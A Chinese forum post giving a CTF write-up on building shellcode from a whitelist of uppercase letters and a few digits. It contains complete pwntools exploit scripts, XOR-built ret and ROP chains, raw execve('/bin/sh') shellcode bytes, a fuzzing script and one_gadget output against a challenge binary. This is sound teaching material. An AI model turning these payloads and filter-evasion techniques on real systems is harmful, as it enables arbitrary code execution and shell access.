首页
社区
课程
招聘
[原创]可见shellcode字符的艺术
2022-10-8 17:06 18855

[原创]可见shellcode字符的艺术

2022-10-8 17:06
18855

可见shellcode字符的艺术

最近在某新生赛中看见了一道shellcode题,要求是可见字符,一般的可见shellcode字符限制的话通常是ASCII可见字符,难一点就不包含特殊符号,但是这道题的限制是仅可用大写A-Z外加hotnj145这几个字符,这就让我很感兴趣了,这些字符构造shellcode有多大作用呢?

 

img

0x00简介

题目文件 - 链接:https://pan.baidu.com/s/16XG-BoRzSjLq9iPh5FV4zg?pwd=CTFF

 

本地测试环境是ubuntu18libc-2.27-3ubuntu1.6

 

先来看看伪代码

 

image-20221001180437105

 

mmap开了0x100大小RWX的块,我们可以输入0x80大小数据,但随后会有inwhitelist函数的检查,如果检查失败则打印Hacker并退出,接下来看看inwhitelist函数

 

image-20221001180649037

 

image-20221001180704705

 

可以看到这就是一个白名单字符检查,必须要使用上图whitelist数组里的字符,否则退出

0x01 绕过strlen函数

由于白名单检查的时候,数据长度是由strlen函数提供的,而strlen函数的检查机制就是遇到NULL字符停止,但是又不能直接传入NULL字符作为开头,因为之后执行的时候会被认为是非法指令,所以说需要一个带NULL字符的合法指令放在开头,然后shellcode正常跟在后面就行

1
2
3
4
5
6
7
8
from pwn import *
 
context(os='linux',arch='amd64')
p = process('./shellcode')
payload = asm('xor eax,0x4141') + asm(shellcraft.sh())
print(payload)
p.sendafter(b'you',payload)
p.interactive()

image-20221001182242045

 

注意打印出来的shellcode开头,xor eax,0x4141其实就是5AA\x00\x00,因为eax是4字节的而我们的立即数只传入了2字节所以会产生NULL字符补充高位

 

这种方法确实解决了这道题,但是还没完呢,通过绕过strlen函数的方式总感觉有点投机取巧,如果就按照题目的限制撸个shellcode出来多帅啊,很明显我想当一回真英雄,于是有以下研究,将一些技巧融入几个实际利用的手法中介绍

0x02 再次读入shellcode

首先,大概整理一下可以现在还可以用哪些指令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
push 0x34343434
push all_reg
pop rax rcx rdx r8-10
xor al,0x41
xor dword ptr [r8], eax
xor dword ptr [rax], eax    #1\x00
xor dword ptr [rax+0x41], ebx ecx edx ebp ...
xor dword ptr [rcx], esi    #11
xor qword ptr [r8 + 0x4d], rcx    #A1\x00
xor dword ptr [rcx], esi
xor dword ptr [rax + 0x6f], r9d
xor dword ptr [rbx + 0x31], eax
xor eax, 0x4141
xor dword ptr [rip], esi    #xor rip出现不同指令
xor qword ptr [rip], rsi
xor qword ptr [rip], r14
add byte ptr [r8], al        #A\x00

不完整,只是大概看看能输入怎样的指令,注意有些指令结尾是需要\x00的,有些可以通过增加立即数避免产生,有些则无法避免,如果不输入NULL字符的话,就将指令放结尾由缓冲区默认的NULL字符补充为合法指令,但是就无法继续在后面增加指令了,因为继续输入会覆盖掉这些NULL字符

 

我们仔细看看main函数

 

image-20221001192708665

 

如果我们能跳转到1314的位置,就可以控制read函数的指针达到任意写,因为rax是我们可控的,而rsi不行,因为pop rsi编译是_字符,不在白名单中

 

众所周知,rip寄存器正常情况是不可读不可写的,只能通过某些指令间接操作,例如ret指令,但是ret指令值是0xc3是不可见字符,该怎么构造呢,一番捣鼓过后发现0xc3 / 2 / 2 == 0x41,而0x41是可见字符A,那么操作空间就有了

 

我们先观察一下此时的寄存器和堆栈的状态

 

image-20221001194323397

 

rax/rdi/rsi指向的值都是当前用于存储shellcode的内存块开头的地址r12寄存器是_start的地址,其次,如果没有输入指令地方默认就是NULL字节将会被解析成add byte ptr [rax], al指令,所以说后面都是一样的指令

 

那么,执行xor al,0x41指令看看

 

image-20221001195003527

 

image-20221001195109772

 

image-20221001195123576

 

image-20221001195224619

 

image-20221001195243107

 

image-20221001195406029

 

可以执行三次默认的add指令后,rax指向地址的值变成了0xc3也就是ret指令,但是问题也很明显,之后还会继续执行add将会继续改变+0x41地址里的值就变成其他指令了,所以说我们要恰好在+0x41偏移的位置执行ret,中间的空间可以用一下无意义指令填充,而ret之后执行流改变也就不用管后面的指令了

 

那么现在的操作就很简单了,构造出程序基址+1314的值push进栈顶,之后ret执行的时候就pop进rip了,_start地址与执行read片段位置的异或值是0x214,由于立即数也只能用白名单里的字符要想办法构造,fuzz一下发现0x41414141^0x41414355=0x214,因为单个字节异或不出0x214,只用两个字节又会产生NULL字符,所以说选用两个四字节但高2字节相同的就好

1
2
3
4
>>> hex(0x565172b69100^0x565172b69314)
'0x214'
>>> hex(0x41414141^0x41414355)
'0x214'

先上payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
payload = asm(
'''
push 0x41414141
pop rax
push rax
push rax
push rax
push rax
push rax
push rax
push rax
push rax
push rax
push rax
push rsp
pop rax
push 0x41414355
pop rcx
xor dword ptr [rax+0x48], ecx    #0x41414141^0x41414355=0x214 ; 构造0x214,加偏移才能满足白名单字符
pop rcx
pop rcx
pop rcx
pop rcx
pop rcx
pop rcx
pop rcx
pop rcx
pop rcx
pop rcx
push r12            #r12=_start
xor dword ptr [rax+0x48], ecx    #_start^0x214=gadget_addr
push 0x41414141           
pop rdx                #控制read的读入字节数
push rdi            #无意义指令,填充位置
pop rax
push rdi
pop rax
push rdi
pop rax
pop rcx
push rcx
push rcx
xor al,0x41            #构造0xc3->ret指令
''')

操作可以分成几个部分,现在解读一下,首先一直push rax是为了填充栈,因为不想在其中包含NULL字符,所以需要增加立即数来使用xor dword ptr [rax+0x48], ecx,已经尽量选了一个比较小的,push rsp; pop rax是将栈指针传递给rax之后就能通过rax加偏移异或ecx来修改栈中的值,首先构造出0x214在栈中,再把用于填充的值再pop走让rcx=0x214r12_start地址前面已经说过,异或0x214就得到我们想要的read片段的地址,这里注意栈虽然pop很多次已经降下来了,但rax值没变,所以直接用就行,看图

 

image-20221001203034203

 

0x7ffd166c8eb8+0x48==0x7ffd166c8f00,所以直接push r12就行

 

image-20221001203203623

 

之后rsp就是read函数片段的地址,之后将rdx设置为0x41414141,一个巨大的值,之后调用read就能随意写入,接着的push ; pop指令都是无意义操作,单纯填充位置,因为要在+0x41位置才能调用ret

 

image-20221001203535755

 

成功回到main中调用read函数,这里直接写入任意shellcode就行,写入的位置为shellcode地址+0x41的位置,也就是从ret这条指令本身开始覆盖写,虽然我们手动调用read造成任意字符写,之后会重新进入shellcode块重新执行,之后会发现执行shellcode出现了问题,在+0x41位置开始的指令跟我们传入的不一样,比如

 

image-20221001204052057

 

这是因为,程序再次执行了之前写入的shellcode,其中默认NULL字符被解析成的add指令会修改+0x41位置的值,造成指令被篡改,这也是我们造出ret指令的方法,现在只需要预判一下会修改哪个字节让他修改的结果是我们本身想执行的指令就行,调试一下就能知道其实就是第一个字节被改了,我传入的shellcode如下:

1
p.sendline(b"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05")

将第一个字节\x31拿出来运算

1
2
3
4
5
6
7
8
>>> (0x31-0x41)&0xff
240
>>> (240-0x41)&0xff
175
>>> (175-0x41)&0xff
110
>>> hex(110)
'0x6e'

&0xff是因为add时候是单字节操作,不会影响高位,所以只取一个字节,\x6e经过运算就能还原成\x31,从而保持shellcode不变,修改第一个字节变成:

1
p.sendline(b"\x6e\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05")

现在能正常执行:

 

image-20221001205107398

 

image-20221001205206437

 

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
from pwn import *
 
context(log_level='debug',os='linux',arch='amd64')
p = process('./shellcode')
#p = remote('119.3.83.106',10565)
 
#gdb.attach(p,'brva 0x1385\nc\nsi')
payload = asm(
'''
push 0x41414141
pop rax
push rax
push rax
push rax
push rax
push rax
push rax
push rax
push rax
push rax
push rax
push rsp
pop rax
push 0x41414355
pop rcx
xor dword ptr [rax+0x48], ecx    #0x41414141^0x41414355=0x214 ; 构造0x214,加偏移才能满足白名单字符
pop rcx
pop rcx
pop rcx
pop rcx
pop rcx
pop rcx
pop rcx
pop rcx
pop rcx
pop rcx
push r12            #r12=_start
xor dword ptr [rax+0x48], ecx    #_start^0x214=gadget_addr
push 0x41414141           
pop rdx                #控制read的读入字节数
push rdi            #无用指令,填充位置
pop rax
push rdi
pop rax
push rdi
pop rax
pop rcx
push rcx
push rcx
xor al,0x41            #构造0xc3->ret指令
''')
print(payload)
p.sendafter(b'you',payload)
#pause()
sleep(1)
#p.sendline(b"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05")
p.sendline(b"\x6e\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05")
p.interactive()

其中传入的可见字符shellcode

1
hAAAAXPPPPPPPPPPTXhUCAAY1HHYYYYYYYYYYAT1HHhAAAAZWXWXWXYQQ4A

0x03 ROP

既然能造ret指令,那再布局一下栈,岂不是直接ROP,起飞~

 

要想控制栈就要对栈调用read写入,因为用shellcode太麻烦了,而且长度有限,而上一节中rax不是完全可控的,如果改变rax的值也会影响到ret指令的构造,但是又不能直接pop rsi(不在白名单中),所以用pop rsi; pop r15; ret的gadget来代替rax控制read函数写入的位置,调整一下调用read的位置为+0x1317偏移处(见下图),还有,固定在+0x41偏移调用ret相当于变相削减shellcode长度,这里介绍一下其它构造ret指令的方式

 

image-20221002160545664

 

基本payload构造的话基本上都是上一节的操作,这里直接贴出,操作等价于p64(pop_rdi_ret)+p64(__libc_start_main+231)+p64(elf.plt['puts'])+p64(pop_rsi_r15_ret)+p64(stack_addr)+p64(main_read_gadget)*2,控制read时的指针写入栈,那么就会覆盖到call read的时候保存的返回值,从而劫持程序执行流

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
payload = asm(
'''
push 0x41414142            #控制rdx值
pop rdx
push rdx
push rdx
push rdx
push rdx
push rdx
push rdx
push rdx
push rdx
push rdx
push rdx
push rsp
pop rax
push 0x41414355
pop rcx
xor dword ptr [rax+0x48], ecx    #0x41414142^0x41414355=0x217 ; 构造0x217,加偏移才能满足白名单字符
pop rcx
pop rcx
pop rcx
pop rcx
pop rcx
pop rcx
pop rcx
pop rcx
pop rcx
pop rcx
push r12            #r12=_start
xor dword ptr [rax+0x48], ecx    #_start^0x217=gadget_addr
pop r8                #save gadget_addr
push rdx            #0x41414142
push 0x41414443
pop rcx
xor dword ptr [rax+0x48], ecx    #0x41414142^0x41414443=0x501
pop rcx
push r12
xor dword ptr [rax+0x48], ecx    #get pop_rsi_r15_addr
pop r9                #save pop_rsi_r15_addr
pop rcx                #扔掉一个数据
push 0x41414242
pop rcx
push rdx            #rdx=0x41414142
xor dword ptr [rax+0x50], ecx    #0x41414142^0x41414242=0x300
pop rcx
xor dword ptr [rax+0x58], ecx    #__libc_csu_init^0x300=puts@plt
pop r10                #save puts@plt
push r9                #pop_rsi_r15_addr
push 0x41
push 0x43
pop rcx
xor dword ptr [rax+0x58], ecx    #0x43^0x41=0x2
pop rcx
xor dword ptr [rax+0x58], ecx    #pop_rsi_r15_addr^0x2=pop_rdi_addr
pop rdx                #save pop_rdi_addr
push rdi            #shellcode_addr
pop rax
xor al,0x41
pop rcx
pop rcx
pop rcx
pop rcx                #rcx=__libc_csu_init=0xxxxxxxxxxxxxa0
xor dword ptr [rax+0x48], ecx    #rax+0x48写入0xa0
push 0x52
pop rcx
xor dword ptr [rax+0x48], ecx    #0xa0^0x52=0xf2
push 0x31
pop rcx
xor dword ptr [rax+0x48], ecx    #0xf2^0x31=0xc3=ret
pop rcx                #save __libc_start_main+231
push r8                #main_read_addr
push r8                #r15
push rsp            #rsi
push r9                #pop_rsi_r15
push r10            #puts
push rcx            #__libc_start_main+231
push rdx            #pop_rdi
''')

但是这里换了一种方式来构造ret指令,这里介绍一下:

 

image-20221002151416788

 

观察一下栈,可以发现有__libc_csu_init,这是在栈中经常会出现的地址,它跟程序基地址有着固定偏移,熟悉PIE的应该能知道最后面三位是永远不会变的,也就是3a0,既然会固定出现,那么我们就利用这个a0造出0xc3,尝试之后发现白名单中的可见字符与其异或是不能得到0xc3这个值的,一次异或不行?那就两次!0xa0^0x52^0x31=0xc3,分别是R字符和1字符,构造ret指令payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
payload = asm(
'''
push rdi            #shellcode_addr
pop rax
xor al,0x41
pop rcx                #扔掉一个数据
pop rcx                #rcx=__libc_csu_init=0xxxxxxxxxxxxxa0
xor dword ptr [rax+0x48], ecx    #rax+0x48写入0xa0
push 0x52
pop rcx
xor dword ptr [rax+0x48], ecx    #0xa0^0x52=0xf2
push 0x31
pop rcx
xor dword ptr [rax+0x48], ecx    #0xf2^0x31=0xc3=ret
''')

首先将shellcode地址给rax然后修改低位,再加上之后xor指令又加了立即数,那就可以变更后面的指令,由于我们可以输入的长度是0x80,那么这里设置ret_addr = shellcode_addr(rax) + 0x41(xor_al) + 0x48(立即数),那么ret指令就会出现在+0x89位置,这个地方我们修改不到,很不错,可以防止覆盖掉或者误操作

 

image-20221002153218618

1
2
3
4
5
6
7
8
9
10
11
12
13
pwndbg> x/x 0x7fcfbc046089
0x7fcfbc046089:    0x00000000
pwndbg> x/x 0x7fcfbc046089
0x7fcfbc046089:    0x9b1bb3a0
pwndbg> x/x 0x7fcfbc046089
0x7fcfbc046089:    0x9b1bb3f2
pwndbg> x/x 0x7fcfbc046089
0x7fcfbc046089:    0x9b1bb3c3
pwndbg> u 0x7fcfbc046089 5
 0x7fcfbc046089    ret   
 
   0x7fcfbc04608a    mov    bl, 0x1b
   0x7fcfbc04608c    wait

可以看到,原本+0x89位置的值是0,第一次异或则是赋值操作,因为0异或任何数等于其本身,然后两次异或之后就变成了0xc3,此时用pwndbg将这个地方解析成指令查看,就会发现有ret指令了,这里可能有同学有疑问,这里一直是四字节的操作而0xc3是单字节的,那么高三字节被解析成指令不会对其产生影响吗,这是因为小端序的原因,其他三字节在内存中存储都是跟在0xc3后面的,这里我们永远先执行到ret,这就够了

 

因为限制,构造ROP就比较麻烦,虽然已经尽可能节省指令长度了,但还是超出了限制,现在输入的shellcode长度是0x81,多了一个字节。。

 

先贴出最终exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
from pwn import *
 
context(log_level='debug',os='linux',arch='amd64')
p = process('./shellcode')
elf = ELF('./shellcode')
libc = elf.libc
one = [0x4f2a5,0x4f302,0x10a2fc]
 
payload = asm(
'''
push rsp
pop rax
pop rcx
pop rcx
pop rcx
pop rcx
pop rcx
pop r8                #__libc_csu_init
pop r9                #__libc_start_main+231
pop rcx                #扔掉数据
pop rcx
pop rcx
pop rcx
pop rcx
pop rcx
pop rcx
push 0x41414142            #控制rdx值
pop rdx
push rdx
push 0x41414355
pop rcx
xor dword ptr [rax+0x68], ecx    #0x41414142^0x41414355=0x217 ; 构造0x217,加偏移才能满足白名单字符
pop rcx
push r12            #r12=_start
xor dword ptr [rax+0x68], ecx    #_start^0x217=gadget_addr
push r9                #之后弹给r15的值
push rsp
pop r9                #r9=&(__libc_start_main+231)
push rdx            #rdx=0x41414142
push 0x41414443
pop rcx
xor dword ptr [rax+0x58], ecx    #0x41414142^0x41414443=0x501
pop rcx
push rsp            #之后弹给rsi的值
push r12
xor dword ptr [rax+0x50], ecx    #get pop_rsi_r15_addr
pop rcx                #save pop_rsi_r15_addr
push rcx
push rcx
push 0x41
push 0x43
pop rcx
xor dword ptr [rax+0x48], ecx    #0x43^0x41=0x2
pop rcx
xor dword ptr [rax+0x48], ecx    #pop_rsi_r15_addr^0x2=pop_rdi_addr
pop r10                #save pop_rdi_addr
push 0x41414242
pop rcx
push rdx            #rdx=0x41414142
xor dword ptr [rax+0x48], ecx    #0x41414142^0x41414242=0x300
pop rcx
push r8                #r8=__libc_csu_init
xor dword ptr [rax+0x48], ecx    #__libc_csu_init^0x300=puts@plt
pop rdx                #save puts@plt
push rdi            #shellcode_addr
pop rax                #rax=shellcode_addr
xor al,0x6e
push rax            #shellcode_addr+0x6e
push rdx            #puts@plt
push r9                #栈地址,指向__libc_start_main+231
push r10            #pop_rdi_ret
push r8
pop rcx                #rcx=__libc_csu_init=0xxxxxxxxxxxxxa0
push rax
pop rdx                #控制rdx=rax
xor dword ptr [rax+0x58], ecx    #rax+0x58写入0xa0
push rdx           
pop rax                #控制rax=rdx,之后从puts返回时需要执行
push 0x31
pop rcx
xor dword ptr [rax+0x58], ecx    #0xa0^0x31=0x91
push 0x52
pop rdx
xor dword ptr [rax+0x58], edx    #0x91^0x52=0xc3=ret
''')
print(payload)
p.sendafter(b'you',payload)
 
leak = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-231
libc_base = leak - libc.sym['__libc_start_main']
system = libc_base + libc.sym['system']
binsh = libc_base + next(libc.search(b'/bin/sh'))
pop_rdi = libc_base + 0x000000000002164f
ret = libc_base + 0x00000000000008aa
one_gadget = libc_base + one[1]
print('__libc_start_main',hex(leak))
print('libc_base',hex(libc_base))
 
#gdb.attach(p,'b *'+hex(one_gadget)+'\nc')
payload = b'A'*8+p64(pop_rdi)+p64(binsh)+p64(system)
#payload = p64(ret)*5+p64(one_gadget)
p.sendline(payload)
 
p.interactive()

其中的可见字符payload:

1
TXYYYYYAXAYYYYYYYYhBAAAZRhUCAAY1HhYAT1HhAQTAYRhCDAAY1HXYTAT1HPYQQjAjCY1HHY1HHAZhBBAAYR1HHYAP1HHZWX4nPRAQARAPYPZ1HXRXj1Y1HXjRZ1PX

提一下调试过程中出现的问题/解决办法/注意点

 

因为输入长度限制在0x80,所以最终的exp看起来就比较乱了,而且调整了一些指令,因为要优先节省字节其次解决调试中的各种问题,建议先看刚开始的payload再来理解最终exp。调试过程中发现,如果用puts来泄露libc虽然方便但是会改变rax/rdx寄存器的值

  • 1.rdx默认情况是一个libc上的地址,使用这个值调用read的话会因为读入字节数过大而直接不执行,而现在shellcode的长度不足以再构造和布局一个pop rdxgadget,我这里的解决办法是将现在shellcode尾部的地址作为ROP其中一环来控制rdx,就是尾部的push 0x52; pop rdx指令
  • 2.然后就要想插入偏移多少的shellcode地址比较合适,因为偏移值也是要在白名单字符中,我们能输入最大的立即数的值是0x74,而shellcode长度是0x80,要保证后续指令不影响劫持控制流(然而现实的情况是甚至连指令都不合法别说继续ROP了),因此要注意选用尽可能值比较大的立即数跳过更多的指令,不然之前push布置ROP的流程肯定会影响到最终执行流
  • 3.因为是通过push rdi; pop rax; xor al,立即数操作来构造出这个shellcode偏移地址在puts执行之后,我们是通过两个立即数来偏移构造ret(刚刚的rax和使用xor指令再加一个立即数偏移),所以最后一直在执行NULL字符被解析成的add相当于坐滑梯一样滑到ret指令上,类似NOP滑梯但不一样,因为他会改变rax执行地址的值,而现在rax指向的值不仅是指令而且是将要执行的指令(rax自从xor al之后没改变过,所以puts之后跳回来的地址就是会改变指令的地方),但是两个立即数的值变动以及执行的指令(指会被修改指令附近的其它指令)都会影响最终被修改成的指令,那就需要fuzz一下选出改变指令后不影响执行的两个值,也就是xor al,0x6e和三条xor dword ptr [rax+0x58]指令中的两个立即数,但是这并不是纯碰运气的,因为默认指令是add byte ptr [rax], al,而al只是取地址偏移值最后一字节是不会变的,[rax]是我们输入的指令的值,这也不会变,所以说一旦fuzz出能正常执行的指令完成后续流程,就算是换系统换libc也是一样的,如果还有指令长度足够,可以在push rax(之后再次执行的shellcode地址)后面或者最后一行执行xor al,立即数把会修改指令的地方调整到shellcode其它位置不会被再次执行就行,这就不用fuzz,反正我是没办法再扣出两字节来执行这条指令了(已经改了无数次了)
  • 4.前面提到从puts返回之后rax也会改变,而rax改变就不会执行默认指令滑梯了(此时rax的值是puts打印的字节数,反正不会是个地址),先观察一下此时的寄存器状态(见下图),rax值为7怎么执行add byte ptr [rax], al啊?直接卡住无法执行,但同时观察到一个值rdx指向的这个地址很明显是可写的,要是能将rdx的值给rax就行了,所以exp后面有个push rdx; pop rax的操作,但是这个操作将覆盖rax又会影响第一次执行完整shellcode的流程(我tm),解决办法是第一次执行的时候控制rax/rdx的值是相等的,通过push rax; pop rdx操作,而之后跳回来执行第二次shellcode的时候不能包含这个操作,也就是说要注意最终选用的跳转回来二次执行的立即数偏移要大于这两条指令的偏移(不然岂不是rax又先把rdx覆盖了)
  • 5.注意构造ret指令的时候,两个立即数相加的值,如果结果为奇数不能出现ret指令,那么控制结果为偶数即可
  • 6.栈中的__libc_start_main+231在之后的指令执行时将会被覆盖,必须保存,而puts又是需要指针而不是值,解决办法是在布置pop rsi; pop r15 ; ret的时候,将r15设置为__libc_start_main+231再保存此时的rsp值,就有了一个指向__libc_start_main+231的指针

image-20221003141857972

 

这里提一下fuzz的过程,首先先看最终exp之后指令会变成什么

 

image-20221003143907630

 

可以看到shellcode+0x6e偏移的指令被改成了xor dword ptr fs:[rax + 0x58], ecx,这条指令执行之后不会改变任何寄存器和栈里的ROP,也没有破坏后续的指令,那自然可以继续往下执行最终实现ROP

 

前面提到过修改两个立即数和指令能影响最终被修改出来的指令,举个例子,把exp中最后的指令修改成这样

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
xor al,0x74
push rax            #shellcode_addr+0x6f
push rdx            #puts@plt
push r9                #栈地址,指向__libc_start_main+231
push r10            #pop_rdi_ret
push r8
pop rcx                #rcx=__libc_csu_init=0xxxxxxxxxxxxxa0
push rax
pop rdx                #控制rdx=rax
push 0x31
xor dword ptr [rax+0x58], ecx    #rax+0x34写入0xa0
pop rcx
push rdx           
pop rax                #控制rax=rdx,之后从puts返回时需要执行
xor dword ptr [rax+0x58], ecx    #0xa0^0x31=0x91
push 0x52
pop rdx
xor dword ptr [rax+0x58], edx    #0x91^0x52=0xc3=ret

push 0x31移到了xor指令上方,这完全不影响后续指令的效果,但影响最终被修改成的指令,另外还修改了xor al指令中的立即数,那么我们fuzz一下可以发现以下偏移值都是可以正常ROP利用的,第一个值是xor al中的立即数,第二个是[rax+xx]中的立即数

1
2
3
4
0x74,0x42
0x74,0x4a
0x74,0x4b
0x74,0x58

同理,修改最终exp片段,控制第一个立即数为0x74的话有这些可以使用,而最终exp中第一个立即数使用0x6e的话则只有0x6e,0x58一种组合

1
2
3
4
5
6
7
8
9
xor dword ptr [rax+%s], ecx   
push 0x31
pop rcx
push rdx           
pop rax               
xor dword ptr [rax+%s], ecx   
 
0x74,0x42
0x74,0x4a

fuzz脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
from pwn import *
 
context(log_level='info',os='linux',arch='amd64')
elf = ELF('./shellcode')
libc = elf.libc
num = [0x41,0x42,0x43,0x44,0x45,0x46,0x47,0x48,0x49,0x4a,0x4b,0x4c,0x4d,0x4e,0x4f,0x50,0x51,0x52,0x53,0x54,0x55,0x56,0x57,0x58,0x59,0x5a,0x68,0x74,0x6f,0x6e,0x6a,0x34,0x35,0x31]
 
def exp(num):
    payload = asm(
    '''
    push rsp
    pop rax
    pop rcx
    pop rcx
    pop rcx
    pop rcx
    pop rcx
    pop r8
    pop r9
    pop rcx   
    pop rcx
    pop rcx
    pop rcx
    pop rcx
    pop rcx
    pop rcx
    push 0x41414142   
    pop rdx
    push rdx
    push 0x41414355
    pop rcx
    xor dword ptr [rax+0x68], ecx
    pop rcx
    push r12           
    xor dword ptr [rax+0x68], ecx   
    push r9               
    push rsp
    pop r9
    push rdx           
    push 0x41414443
    pop rcx
    xor dword ptr [rax+0x58], ecx
    pop rcx
    push rsp           
    push r12
    xor dword ptr [rax+0x50], ecx   
    pop rcx               
    push rcx
    push rcx
    push 0x41
    push 0x43
    pop rcx
    xor dword ptr [rax+0x48], ecx   
    pop rcx
    xor dword ptr [rax+0x48], ecx   
    pop r10               
    push 0x41414242
    pop rcx
    push rdx           
    xor dword ptr [rax+0x48], ecx   
    pop rcx
    push r8               
    xor dword ptr [rax+0x48], ecx   
    pop rdx               
    push rdi           
    pop rax               
    xor al,0x74            #这个值也会改变结果
    push rax           
    push rdx           
    push r9               
    push r10           
    push r8
    pop rcx               
    push rax
    pop rdx               
    push 0x31
    xor dword ptr [rax+%s], ecx   
    pop rcx
    push rdx           
    pop rax               
    xor dword ptr [rax+%s], ecx   
    push 0x52
    pop rdx
    xor dword ptr [rax+%s], edx   
    '''%(hex(num),hex(num),hex(num)))
    #print(payload)
    p.sendafter(b'you',payload)
 
    libc_base = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-libc.sym['__libc_start_main']-231
    system = libc_base + libc.sym['system']
    binsh = libc_base + next(libc.search(b'/bin/sh'))
    pop_rdi = libc_base + 0x000000000002164f
    print('libc_base',hex(libc_base))
 
    payload = b'A'*8+p64(pop_rdi)+p64(binsh)+p64(system)
    p.sendline(payload)
    print(hex(num))
    p.interactive()
for n in num:
    try:
        p = process('./shellcode')
        exp(n)
    except:
        p.close()

有报错的说明是没有成功构造出ret指令,所以不报错的都是偶数值,其次没有EOF的就是不影响执行,成功getshell,可以正常执行命令

 

image-20221003145458256

 

其它需要注意的地方

  • 1.泄露libc不一定要用__libc_start_main地址,也可以用当前shellcode的地址,因为这是通过mmap映射出来的,与libc有着固定偏移,在rdi/rsi寄存器中有,又因为我们现有的指令无法改变这两个寄存器,导致它们始终存着shellcode地址,可以在任意上下文指令中轻松取出,但这个偏移量在libc不同版本有差别,而shellcode题一般不提供libc文件,所以使用__libc_start_main更加实用,方便猜测远程libc版本,让exp更稳定,就是多浪费几个字节
  • 2.实际利用推测libc版本的话可以用 https://libc.rip/ 和 https://libc.blukat.me/ 在线网站,或者将exp改成LibcSearcher寻找libc,我在ubuntu16测试过exp,换libcpop_rdi_ret的偏移就不用说了,唯一不同的就是在ubuntu16下栈里存的是__libc_start_main+240改一下偏移即可,通过这个区别也很好区分版本,远程的话打不通也可以尝试使用one_gadgetexp中被注释的那行payload),通过控制ret指令的数量可以改变执行one_gadget时栈中的数据,而且执行多个ret不会影响执行流,很容易找到合适利用的数量
  • 3.mmap的小知识,虽然题目中只开辟了0x100大小的数据区用于存放&执行shellcode,但mmap分配标准都是以页(0x1000)为单位,如果不是0x1000的倍数则会自动凑整,所以说其实0x100后面的内存都是RWX的,因此我们在更后面构造ret指令而不用担心超出范围
  • 4.写指令的时候尽量使用rax/rcx/rdx避免使用r8/r9/r10,因为会更耗字节,比如push rdx是一个字节而push r9是两个字节

0x04 one_gadget

使用ROP可以看到确实能实现但真的复杂,用one_gadget的话能方便很多,但弊端是必须知道远程的libc版本,这也是为什么这种利用方式放在ROP后面讲的原因,用one_gadget的话是没有ROP那么稳定的,因为ROP的时候泄露了libc可以很好地猜测libc版本,当然也可以先构造出leak libc的操作先单独进行猜测版本,再对应找one_gadget,所以这种利用方式还是有一定的作用的

 

如果要使用one_gadget,那么首先要解决的就是地址问题,之前出现的构造从栈或者寄存器找到比较相近的地址进行异或构造,这些地址是程序中需要用到的,与程序关系是很紧密的,导致这些相关地址是经常出现的,而one_gadget没有,我们可以找到与libc相关的地址,但与one_gadget相差过大,我们手中的字符是很有限的,几乎不可能刚好就能异或出这些libc相关地址与one_gadget的偏移值,虽然不能一下子构造出偏移值,但我们可以通过逐字节逐字节的操作来达到目的

 

首先我们选定一个libc相关的地址,我这里就用shellcode的地址了,因为它由mmaplibc存在固定偏移,所以与one_gadget也存在固定偏移,先查找一下one_gadget,用-l 2参数可以获取更多,但是条件会比不加参数找到的更麻烦,但我们现在是控制程序执行什么指令的,所以不用太在意条件问题,这里列出部分输出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
root@ubuntu:~/pwn/# one_gadget libc.so.6 -l 2
0x4f2a5 execve("/bin/sh", rsp+0x40, environ)
constraints:
  rsp & 0xf == 0
  rcx == NULL
 
0x4f302 execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL
 
0xe534f execve("/bin/sh", r13, rbx)
constraints:
  [r13] == NULL || r13 == NULL
  [rbx] == NULL || rbx == NULL
 
0xe54f7 execve("/bin/sh", [rbp-0x88], [rbp-0x70])
constraints:
  [[rbp-0x88]] == NULL || [rbp-0x88] == NULL
  [[rbp-0x70]] == NULL || [rbp-0x70] == NULL
 
0xe54fe execve("/bin/sh", rcx, [rbp-0x70])
constraints:
  [rcx] == NULL || rcx == NULL
